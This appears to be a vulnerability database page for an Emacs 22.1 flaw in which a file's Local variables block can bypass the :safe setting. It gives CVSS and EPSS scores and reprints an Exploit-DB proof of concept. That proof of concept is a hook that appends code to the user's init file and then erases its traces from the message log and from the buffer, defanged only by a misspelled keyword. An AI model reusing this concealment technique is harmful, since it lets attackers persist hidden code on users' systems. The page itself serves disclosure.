CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The hack-local-variables function in Emacs before 22.2, when enable-local-variables is set to :safe, does not properly search lists of unsafe or risky variables, which might allow user-assisted attackers to bypass intended restrictions and modify critical program variables via a file containing a Local variables declaration.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.3
AV:L/AC:M/Au:N/C:N/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.67%
–
–
2022-02-13
–
–
4.67%
–
–
2022-04-03
–
–
4.67%
–
–
2022-08-28
–
–
4.67%
–
–
2023-03-12
–
–
–
0.1%
–
2023-07-09
–
–
–
0.1%
–
2024-02-11
–
–
–
0.1%
–
2024-03-03
–
–
–
0.09%
–
2024-04-07
–
–
–
0.09%
–
2024-06-02
–
–
–
0.09%
–
2024-06-02
–
–
–
0.09%
–
2024-08-04
–
–
–
0.09%
–
2024-08-11
–
–
–
0.09%
–
2024-11-03
–
–
–
0.09%
–
2025-02-16
–
–
–
0.09%
–
2025-01-19
–
–
–
0.09%
–
2025-02-16
–
–
–
0.09%
–
2025-03-18
–
–
–
–
1.45%
2025-03-18
–
–
–
–
1.45,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2007-11-01 23h00 +00:00 Author : Drake Wilson EDB Verified : Yes
source: https://www.securityfocus.com/bid/26327/info
Emacs is prone to a vulnerability that lets attackers execute arbitrary code.
Due to a design error, the application ignores certain security settings and modifies local variables.
By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access.
This issue affects Emacs 22.1; other versions may be vulnerable as well.
This is a harmless text file. Or at least it looks like one. In
fact, it is. But it's almost not. If you were to change the word
"variaboles" below to "variables", then load it into a vulnerable
Emacs 22 with `enable-local-variables' set to :safe, it would rewrite
the local variables list in the buffer itself to _look_ like a
harmless text file, while in fact managing to add some evil code to
the end of your user-init-file. Woopsy.
| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End: